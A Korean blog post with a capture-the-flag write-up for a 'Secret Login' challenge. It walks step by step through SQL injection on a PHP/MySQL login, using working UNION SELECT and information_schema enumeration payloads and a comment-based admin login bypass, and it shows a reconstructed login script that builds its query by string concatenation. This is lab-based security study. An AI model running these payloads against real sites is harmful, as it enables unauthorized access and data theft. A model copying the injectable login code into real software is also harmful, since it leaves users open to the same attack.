일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- XSS
- 게시판 만들기
- cors
- 모의해킹
- csrf
- 과제
- union sql injection
- sql injection
- 세션
- MySQL
- JS
- 웹개발
- Los
- sql injection point
- Error based sql injection
- lord of sql injection
- Reflected Xss
- 로그인
- JWT
- Cross Site Request Forgery
- css
- lord of sqli
- 로그인페이지
- php
- 쿠키
- cookie 탈취
- file upload
- CTF
- Python
- blind sql injection
- Today
- Total
Almon Dev
ctf 풀이 (Secret Login) 본문
ctf 문제풀이
Secret Login
풀이
1> doldol / dol1234 로그인해 보기
로그인 성공 시 302(리다이렉트) 반환 > index.php로 이동 -> 닉네임 표시
2> sql injection 확인
아이디와 비밀번호 입력창 모두 sql injection이 가능하고,
sql문이 아이디와 비밀번호를 한 번에 검증하는 것으로 추측됩니다.
UserId=doldol'#&Password=dol1234
=> id 입력이 sql injection이 가능한지 확인
UserId=doldol'#&Password=dol1234'#
=> 비밀번호 입력 sqli 가능 확인
UserId=doldol'#&Password=testdol1234
=> sql에서 비밀번호를 함께 검사하는지 확인
아이디 입력창에서 #으로 주석처리를 했는데 비밀번호가 주석처리가 됐다면 한 줄이라는 의미
3> sql 컬럼 개수 확인 (order by)
UserId=doldol'+order+by+2+desc# 를 통해 받아오는 컬럼의 개수가 6개인 것을 확인
4> 로그인 코드 예상
아이디와 비밀번호를 한 번에 검증하고 컬럼이 6개이자 한 줄인 sql문
$sql = "select nickname, password, email, phone, date, age from member
where id='$input_id' and password= '$input_pass'";
$result = db->query($sql)->fetch_array();
if ($result) {
// 로그인 성공
}else {
// 로그인 실패
}
5> 관리자 계정 찾기
sql injection이 가능하니 관리자 계정을 찾기 위해서 우선 db의 정보를 알아내야 합니다.
db명, 테이블명, 컬럼명을 알아내봅니다.
6> db명 알아내기
6개의 컬럼 중 몇 번째가 화면에 표시되는지를 우선 확인합니다.
database() 함수를 이용해서 db의 이름을 받아 올 수 있습니다.
UserId='+union+select+'1',+'2',+database(),+'4',+'5',+'6'+order+by+6+desc#
7> 테이블명 알아내기
UserId='+union+select+'1',+'2',+table_name,+'4',+'5',+'6'+from+information_schema.tables+where+table_schema+%3d+'segFault_sqli'+order+by+6+desc#
information_schema db의 tables 테이블중에서 db명이 segFault_sqli인 테이블의 이름을 받아옵니다.
mysql은 메타데이터를 저장해두는 db인 INFORMATION_SCHEMA가 있습니다.
INFORMATION_SCHEMA는 테이블, 컬럼등의 정보를 담고 있습니다.
테이블이 여러개인데 하나만 출력됩니다.
출력된 모든값을 하나의 문자열로 보기 위해서, group_concat()을 이용해 줍니다.
UserId='+union+select+'1',+'2',+group_concat(table_name),+'4',+'5',+'6'+from+information_schema.tables+where+table_schema+%3d+'segFault_sqli'+order+by+6+desc#
8> 컬럼명 알아내기
UserId='+union+select+'1',+'2',+group_concat(column_name),+'4',+'5',+'6'+from+information_schema.columns+where+table_schema+%3d+'segFault_sqli'+and+table_name+%3d+'login2'+order+by+6+desc#
information_schema의 columns 테이블중에서
table_schema='segFault_sqli' and table_name='login2'인 값의 column_name을 가져옵니다.
정리
db명 : segFault_sqli
테이블명 : book_info,flag_table,login1,login2,user_info
user_info 컬럼명 : id,name,password,level,rank_point,rate
login1 컬럼명 : id,pass,name,phone,email,user_type
login2 컬럼명 : id,pass,name,phone,email,user_type
9> 관리자 계정 찾아내기
관리자 권한을 나타낼만한 컬럼은 user_type인것 같습니다.
login2의 id와 user_type을 묶어서 출력해봅니다.
UserId='+union+select+'1',+'2',+group_concat(concat(id,':',user_type)),+'4',+'5',+'6'+from+login2+order+by+6+desc#
concat은 문자열을 붙여주는 함수입니다.
관리자 계정으로 생각되는 아이디
login2 => super타입의 아이디인 hidden_account
login1 => 5ecret_acc0unt
10> 5ecret_acc0unt 로그인 하기
hidden_account는 로그인이 되지 않았습니다. => login1 테이블을 사용하는 중
UserId=5ecret_acc0unt'# 으로 로그인을 해줍니다.
로그인 php코드 예상
<?php
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];
$server_name = "localhost";
$username = "root";
$password = "";
$db_name = "test";
$conn = new mysqli($server_name, $username, $password, $db_name);
$sql = "select * from member where id='$input_id' and password='$_input_pass'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
if ($result) {
echo $result['name'];
} else {
echo "fail";
}
'모의해킹 > 모의해킹' 카테고리의 다른 글
ctf 풀이 (Pin Code Crack) (2) | 2024.11.20 |
---|---|
ctf 풀이 (admin is mine) (1) | 2024.11.19 |
ctf 풀이 (Login Bypass 4) (0) | 2024.11.18 |
ctf 풀이 (Login Bypass 3) (0) | 2024.11.16 |
모의해킹 공부 (5주차 정리) (1) | 2024.11.15 |